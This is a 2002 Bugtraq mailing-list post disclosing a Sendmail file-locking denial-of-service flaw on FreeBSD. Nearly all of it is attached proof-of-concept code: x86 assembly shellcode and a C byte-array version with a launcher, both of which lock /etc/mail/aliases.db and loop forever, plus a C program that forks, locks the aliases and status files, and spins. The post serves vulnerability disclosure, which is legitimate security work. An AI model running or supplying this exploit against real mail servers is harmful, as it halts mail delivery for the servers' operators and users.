Date: Fri, 24 May 2002 01:48:49 -0400
From: KF <[email protected]>
To: bugtraq <[email protected]>, [email protected]Subject: Sendmail file locking - PoC
--------------030004000905060608000008
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
A problem has been identified in sendmail that can result in a denial of
service attack. Attached is proof of concept code for this issue.
http://www.sendmail.org/LockingAdvisory.txt
have a safe Memorial Day folks.
-KF
--------------030004000905060608000008
Content-Type: text/plain;
name="sendmail-DoS.S"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="sendmail-DoS.S"
;
; Safemode.org, written by zillion 2002/05/24
; http://www.snosoft.com : [email protected]
; http://www.sendmail.org/LockingAdvisory.txt
;
BITS 32
jmp short callit
doit:
pop esi
xor eax,eax
mov [esi + 20],al
push eax
push esi
mov al,5
push eax
int 0x80
push byte 0x2
push eax
mov al,131
push eax
int 0x80
; Where going to stay forever ;-)
sub cl,0x3
l00p:
js l00p
callit:
call doit
db '/etc/mail/aliases.db'
--------------030004000905060608000008
Content-Type: text/plain;
name="sendmail-DoS.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="sendmail-DoS.c"
/*
FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db
Written by zillion (at http://www.safemode.org && http://www.snosoft.com)
More info: http://www.sendmail.org/LockingAdvisory.txt
*/
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x14\x50\x56\xb0\x05\x50\xcd\x80"
"\x6a\x02\x50\xb0\x83\x50\xcd\x80\x80\xe9\x03\x78\xfe\xe8\xe1"
"\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x61\x69\x6c\x2f\x61\x6c"
"\x69\x61\x73\x65\x73\x2e\x64\x62";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
--------------030004000905060608000008
Content-Type: text/plain;
name="sendmail-filelock-dos.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="sendmail-filelock-dos.c"
#include <fcntl.h>
#include <unistd.h>
/*
Stupid piece of code to test the sendmail lock vulnerability on
FreeBSD. Run this and try sendmail -t on FreeBSD for example.
More info: http://www.sendmail.org/LockingAdvisory.txt
zillion (at safemode.org && snosoft.com)
http://www.safemode.orghttp://www.snosoft.com
*/
int main() {
if(fork() == 0) {
char *lock1 = "/etc/mail/aliases";
char *lock2 = "/etc/mail/aliases.db";
char *lock3 = "/var/log/sendmail.st";
int fd;
fd = open(lock1,O_RDONLY);
flock(fd,0x02);
fd = open(lock2,O_RDONLY);
flock(fd,0x02);
fd = open(lock3,O_RDONLY);
flock(fd,0x02);
/* We are here to stay! */
for(;;) {}
}
}
--------------030004000905060608000008--
